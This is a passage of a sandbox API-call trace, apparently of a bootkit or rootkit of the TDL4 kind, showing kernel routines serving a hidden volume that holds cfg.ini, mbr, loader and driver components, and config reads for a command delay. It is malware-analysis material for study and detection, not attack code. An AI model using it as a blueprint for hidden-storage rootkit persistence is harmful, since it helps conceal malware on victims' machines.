out: FastMutex=0xfffffa80027d3898) [0129.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.550] KeLeaveCriticalRegion () [0129.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.550] KeEnterCriticalRegion () [0129.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.550] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.550] IdePortDispatch () returned 0x103 [0129.550] KeWaitForMutexObject () returned 0x0 [0129.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.550] KeLeaveCriticalRegion () [0129.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.551] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.551] KeEnterCriticalRegion () [0129.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0f000 [0129.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.551] IdePortDispatch () returned 0x103 [0129.551] KeWaitForMutexObject () returned 0x0 [0129.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.551] IdePortDispatch () returned 0x103 [0129.551] KeWaitForMutexObject () returned 0x0 [0129.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.551] KeLeaveCriticalRegion () [0129.551] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.552] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.552] KeEnterCriticalRegion () [0129.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.552] KeLeaveCriticalRegion () [0129.552] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.552] KeEnterCriticalRegion () [0129.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.552] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.552] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c051e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.552] KeLeaveCriticalRegion () [0129.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.552] KeEnterCriticalRegion () [0129.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.552] ExFreePoolWithTag (P=0xfffffa8003c06010, Tag=0x0) [0129.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.552] KeLeaveCriticalRegion () [0129.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.552] ReleaseMutex (hMutex=0xf0) returned 1 [0129.552] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.552] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.552] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.552] KeEnterCriticalRegion () [0129.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.553] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.553] IdePortDispatch () returned 0x103 [0129.553] KeWaitForMutexObject () returned 0x0 [0129.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.553] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.553] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.553] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.553] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.553] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.553] KeLeaveCriticalRegion () [0129.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.553] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.553] KeEnterCriticalRegion () [0129.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.553] KeLeaveCriticalRegion () [0129.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.553] KeEnterCriticalRegion () [0129.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.553] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.553] IdePortDispatch () returned 0x103 [0129.553] KeWaitForMutexObject () returned 0x0 [0129.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.554] KeLeaveCriticalRegion () [0129.554] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.554] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.554] KeEnterCriticalRegion () [0129.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c10000 [0129.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.554] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.554] IdePortDispatch () returned 0x103 [0129.554] KeWaitForMutexObject () returned 0x0 [0129.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.554] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.554] IdePortDispatch () returned 0x103 [0129.554] KeWaitForMutexObject () returned 0x0 [0129.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] KeLeaveCriticalRegion () [0129.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.555] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.555] KeEnterCriticalRegion () [0129.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] KeLeaveCriticalRegion () [0129.555] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.555] KeEnterCriticalRegion () [0129.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.555] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] KeLeaveCriticalRegion () [0129.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.555] KeEnterCriticalRegion () [0129.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.555] KeLeaveCriticalRegion () [0129.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.556] ReleaseMutex (hMutex=0xf0) returned 1 [0129.556] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.556] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.556] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.556] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.556] KeEnterCriticalRegion () [0129.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.556] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.556] IdePortDispatch () returned 0x103 [0129.556] KeWaitForMutexObject () returned 0x0 [0129.556] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.556] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.556] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.556] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.556] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.556] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.556] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.556] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.556] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.556] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.556] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.556] KeLeaveCriticalRegion () [0129.556] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.556] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.557] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.557] KeEnterCriticalRegion () [0129.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.557] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.557] IdePortDispatch () returned 0x103 [0129.557] KeWaitForMutexObject () returned 0x0 [0129.557] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.557] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.557] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.557] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.557] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.557] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.557] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.557] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.557] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.557] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.557] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.557] KeLeaveCriticalRegion () [0129.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.557] ReleaseMutex (hMutex=0x100) returned 1 [0129.557] Sleep (dwMilliseconds=0x2bf20) [0129.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x706b1330, dwHighDateTime=0x1d24fa4)) [0129.564] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.564] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.564] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.564] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.564] KeEnterCriticalRegion () [0129.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.564] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.564] IdePortDispatch () returned 0x103 [0129.565] KeWaitForMutexObject () returned 0x0 [0129.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.565] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.565] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.565] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06fb0 [0129.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.565] KeLeaveCriticalRegion () [0129.565] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.565] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.565] KeEnterCriticalRegion () [0129.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.565] KeLeaveCriticalRegion () [0129.565] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.565] KeEnterCriticalRegion () [0129.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.565] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.565] IdePortDispatch () returned 0x103 [0129.566] KeWaitForMutexObject () returned 0x0 [0129.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.566] KeLeaveCriticalRegion () [0129.566] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.566] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.566] KeEnterCriticalRegion () [0129.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c13000 [0129.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.566] IdePortDispatch () returned 0x103 [0129.566] KeWaitForMutexObject () returned 0x0 [0129.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.566] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.566] IdePortDispatch () returned 0x103 [0129.566] KeWaitForMutexObject () returned 0x0 [0129.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.567] KeLeaveCriticalRegion () [0129.567] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.567] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.567] KeEnterCriticalRegion () [0129.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.567] KeLeaveCriticalRegion () [0129.567] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.567] KeEnterCriticalRegion () [0129.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.567] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.567] ExReleaseFastMutexUnsafe (in: 